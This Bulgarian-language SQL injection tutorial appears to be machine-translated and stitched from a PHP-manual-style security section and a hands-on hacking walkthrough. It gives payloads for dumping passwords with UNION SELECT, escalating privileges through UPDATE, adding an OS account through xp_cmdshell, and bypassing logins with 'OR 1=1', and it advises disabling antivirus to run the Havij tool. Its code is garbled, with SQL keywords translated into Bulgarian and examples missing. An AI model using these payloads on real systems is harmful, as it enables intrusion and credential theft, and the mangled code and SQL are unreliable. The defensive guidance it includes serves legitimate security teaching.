Възможен начин да получите пароли е да заобиколите страниците с резултати от търсенето. Единственото нещо, което нападателят трябва да направи, е да види дали има изпратени променливи, използвани в SQL изрази, които не се обработват правилно. Тези филтри могат да се задават обикновено в предходна форма за персонализиране КЪДЕ, ПОРЪЧАЙ ПО, ОГРАНИЧЕНи ИЗМЕСТВАНЕклаузи в ИЗБЕРЕТЕизявления. Ако вашата база данни поддържа СЪЮЗконструкция, нападателят може да се опита да добави цяла заявка към оригиналната, за да изброи пароли от произволна таблица. Силно се препоръчва използването на криптирани полета за парола.

Статичната част на заявката може да се комбинира с друга ИЗБЕРЕТЕизявление, което разкрива всички пароли:

"union select" 1 ", concat (uname ||" - "|| passwd) като име," 1971-01-01 "," 0 "от потребителска таблица; -

Ако тази заявка (играене с " и -- ) бяха присвоени на една от променливите, използвани в $ заявка, звярът на заявката се събуди.

SQL UPDATE също са податливи на атака. Тези заявки също са застрашени от нарязване и добавяне на изцяло нова заявка към тях. Но атакуващият може да си играе с КОМПЛЕКТклауза. В този случай трябва да има някаква информация за схемата, за да се манипулира успешно заявката. Това може да бъде получено чрез разглеждане на имената на променливите във формуляра или просто чрез груба сила. Няма толкова много конвенции за именуване на полета, съхраняващи пароли или потребителски имена.

Но злонамерен потребител поема стойността "или uid като"% admin%към $ uid, за да промените паролата на администратора, или просто зададете $ pwd на hehehe ", trusted = 100, admin =" даза да получат повече привилегии. След това заявката ще бъде усукана:

// $ uid: "или uid като"% admin%
$ заявка = "UPDATE usertable SET pwd =" ... "WHERE uid =" "или uid като"% admin% ";";

// $ pwd: hehehe ", trusted = 100, admin =" да
$ заявка = „UPDATE usertable SET pwd =" hehehe ", trusted = 100, admin =" yes "WHERE
...;"
;

?>

Плашещ пример как командите на ниво операционна система могат да бъдат достъпни на някои хостове на база данни.

Ако нападателят подаде стойността a% "exec master..xp_cmdshell" net user test testpass / ADD "-до $ prod, тогава заявката $ ще бъде: MSSQL Server изпълнява SQL операторите в пакета, включително команда за добавяне на нов потребител към локалната база данни с акаунти. Ако това приложение се изпълняваше като saи услугата MSSQLSERVER работи с достатъчни привилегии, сега атакуващият ще има акаунт, с който да осъществява достъп до тази машина.

Някои от примерите по-горе са свързани с конкретен сървър на база данни. Това не означава, че подобна атака е невъзможна срещу други продукти. Вашият сървър на база данни може да бъде по подобен начин уязвим по друг начин.

Пример № 5 По-сигурен начин за съставяне на заявка за пейджинг

settype ($ offset, "integer");
$ заявка = „ИЗБЕРЕТЕ идентификатор, име ОТ продукти ПОРЪЧАЙТЕ ПО име LIMIT 20 OFFSET$ изместване; ";

// моля, обърнете внимание на % d във форматния низ, използването на % s би било безсмислено
$ query = sprintf ( "ИЗБЕРЕТЕ идентификатор, име ОТ продукти ПОРЪЧАЙТЕ ПО име LIMIT 20 OFFSET% d;",
$ компенсиране);

?>

  • Ако слоят на базата данни не поддържа свързващи променливи, тогава цитирайте всяка нечислова предоставена от потребителя стойност, която се предава на базата данни със специфичната за база данни функция за избягване на низ (напр. mysql_real_escape_string (), sqlite_escape_string ()и др.). Общи функции като добавя наклонени черти ()са полезни само в много специфична среда (например MySQL в еднобайтов набор от знаци с деактивиран NO_BACKSLASH_ESCAPES), така че е по-добре да ги избягвате.
  • Не разпечатвайте никаква специфична информация за базата данни, особено за схемата, по справедливи средства или неправилно. Вижте също отчитане на грешки и функции за обработка и регистриране на грешки.
  • Можете да използвате съхранени процедури и предварително дефинирани курсори, за да абстрахирате достъпа до данни, така че потребителите да нямат пряк достъп до таблици или изгледи, но това решение има друго въздействие.
  • Освен това, вие се възползвате от регистриране на заявки или във вашия скрипт, или от самата база данни, ако поддържа регистриране. Очевидно регистрирането не е в състояние да предотврати никакъв вреден опит, но може да бъде полезно да се проследи кое приложение е било заобиколено. Дневникът не е полезен сам по себе си, а чрез информацията, която съдържа. Повече детайли обикновено са по-добри от по-малко.

    SQL инжекцията е атака, която използва динамични SQL изрази чрез коментиране на определени части от израза или добавяне на условие, което винаги ще бъде вярно. Той е насочен към дупки в архитектурата на уеб приложенията и използва SQL изрази за изпълнение на злонамерен SQL:

    В тази статия ще разгледаме техниките, използвани при SQL инжектиране и как да защитим уеб приложенията от подобни атаки.

    Как работи SQL инжекцията

    Типовете атаки, които могат да бъдат извършени с помощта на SQL инжекция, се различават по типа двигатели на базата данни, които са засегнати. Атаката е насочена към динамични SQL изрази. Динамичният израз е изявление, което се генерира по време на изпълнение въз основа на параметри от уеб формуляр или низ на заявка за URI.

    Помислете за просто уеб приложение с формуляр за вход. Кодът на HTML формуляра е показан по-долу:

    • Формулярът приема имейл адрес и след това паролата се изпраща до PHP файл с име index.php;
    • Сесията се съхранява в бисквитка. Тази функция се активира, когато флагът Remember_me е отметнат. Методът post се използва за изпращане на данни. Това означава, че стойностите не се появяват в url адреса.

    Да предположим, че заявката за валидиране на потребителския идентификатор от страната на сървъра изглежда така:

    • Заявката използва стойностите на масива $ _POST директно, без да го дезинфекцира;
    • Паролата е криптирана с помощта на алгоритъма MD5.

    Ще разгледаме атаката с SQL инжекция sqlfiddle. Отворете URL адреса http://sqlfiddle.com/ във вашия браузър. На екрана ще се появи следният прозорец.

    Забележка: ще трябва да напишете SQL изрази:


    Стъпка 1. Въведете този код в левия панел:

    CREATE TABLE `потребители` (` id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR (45) NULL,` password` VARCHAR (45) NULL, PRIMARY KEY (`id`)); вмъкнете в потребители (имейл, парола) стойности (" [защитен с имейл]", md5 (" abc "));

    Стъпка 2. Натиснете " Изграждане на схема».
    Стъпка 3. Въведете кода по-долу в десния прозорец:

    изберете * от потребители;

    Стъпка 4. Щракнете върху " Изпълнете SQL". Ще видите следния изход:

    Да предположим, че потребителят предоставя имейл адрес [защитен с имейл]и 1234 като парола. Заявката, която трябва да се изпълни в базата данни, може да изглежда така:

    Горният примерен код за инжектиране на SQL може да бъде заобиколен чрез изхвърляне на част от паролата в коментара и добавяне на условие, което винаги ще бъде вярно. Да предположим, че нападателят замества следните данни в полето за имейл адрес:

    [защитен с имейл]"ИЛИ 1 = 1 ЛИМИТ 1 -"]

    и xxx в полето за парола.

    Генерираният динамичен израз ще изглежда така:

    • [защитен с имейл]завършва с единична кавичка, която завършва низа;
    • ИЛИ 1 = 1 LIMIT 1 е условие, което винаги ще бъде вярно, ограничава върнатите резултати само до един запис.

    0; „И ... е SQL коментар, който изключва част от паролата.

    Копирайте горната заявка и я поставете в текстовото поле на SQL FiddleRun SQL, както е показано по-долу:


    Хакерска дейност: SQL инжекция в уеб приложения

    Имаме просто уеб приложение, достъпно на http://www.techpanda.org/, което е специално уязвимо към атаки с инжектиране на SQL за начинаещи за демонстрационни цели. HTML кодът на формуляра по-горе е взет от страницата за оторизация на това приложение.

    Той осигурява основна сигурност, като дезинфекция на полето за имейл. Това означава, че горният код не може да се използва за заобикаляне на този механизъм.

    За да го заобиколите, можете да използвате полето за парола. Диаграмата по-долу показва стъпките, които трябва да следвате:


    Да предположим, че нападателят предоставя следните данни:

    Стъпка 1: Представете се [защитен с имейл]като имейл адрес;
    Стъпка 2: Въведете xxx ’) ИЛИ 1 = 1 -];


    Натиска бутона "Изпращане".

    Той ще бъде насочен към административния панел. Генерираната заявка ще изглежда така:

    Диаграмата по-долу показва как е генерирана заявката:


    • Заявката предполага md5 криптиране;
    • Използват се затварящи единични кавички и скоби;
    • Към оператора се добавя условие, което винаги ще е вярно.

    Обикновено нападателите се опитват да използват няколко различни метода в атака с инжектиране на SQL, за да постигнат целите си.

    Други видове атаки с инжектиране на SQL

    SQL инжектирането може да причини много повече щети от влизането, заобикаляйки механизма за оторизация. Някои от тези атаки могат:

    • Изтриване на данни;
    • Извършване на актуализиране на данните;
    • Добавете данни;
    • Изпълнявайте команди на сървъра, който ще изтегля и инсталира зловреден софтуер;
    • Експортирайте ценни данни като данни за кредитна карта, имейл и пароли към сървъра на отдалечен нападател.

    Горният списък не е пълен. Това просто дава представа за опасностите от SQL инжектиране.

    Инструменти за автоматизиране на SQL инжектиране

    В примера по-горе използвахме техники за ръчна атака. Преди да направите SQL инжектиране, трябва да разберете, че има автоматизирани инструменти, които ви позволяват да извършвате атаки по-ефективно и по-бързо:

    • SQLSmack;
    • SQLPing 2;
    • SQLMap.

    Как да предотвратите SQL инжектиране

    Ето няколко прости правила за защита срещу атаки с инжектиране на SQL:

    Въвеждането на потребителски данни не трябва да се вярва... Винаги трябва да се дезинфекцира, преди данните да могат да се използват в динамични SQL операции.

    Съхранени процедури- те могат да капсулират SQL заявки и да обработват всички входни данни като параметри.

    Подготвени запитвания- първо се създават заявки, а след това всички предоставени потребителски данни се обработват като параметри. Това не засяга синтаксиса на SQL израза.

    Регулярни изрази- може да се използва за откриване на потенциално злонамерен код и премахването му преди изпълнение на SQL оператори.

    Права на достъп за свързване с базата данни- да се защита срещу SQL инжектиране, на акаунтите, които се използват за свързване към базата данни, трябва да се предоставят само необходимите права за достъп. Това ще помогне за ограничаване на действията, които SQL изразите могат да предприемат на сървъра.

    Съобщения за грешки- не трябва да разкрива поверителна информация. Прости персонализирани съобщения за грешка като „ Съжаляваме, възникна техническа грешка. Службата за поддръжка вече е уведомена за това. Моля, опитайте отново по-късно„Може да се използва вместо показване на SQL заявките, които са причинили грешката.

    Хакерска дейност: Използване на Havij за SQL инжекция

    В този практически сценарий ще използваме програмата Havij Advanced SQL Injection, за да сканираме за уязвимости в сайта.

    Забележка. Вашата антивирусна програма може да реагира на тази програма поради нейното естество. Следователно, трябва да го добавите към списъка с изключения или да спрете антивирусния софтуер:


    Горният инструмент може да се използва за оценка на уязвимостта/приложението.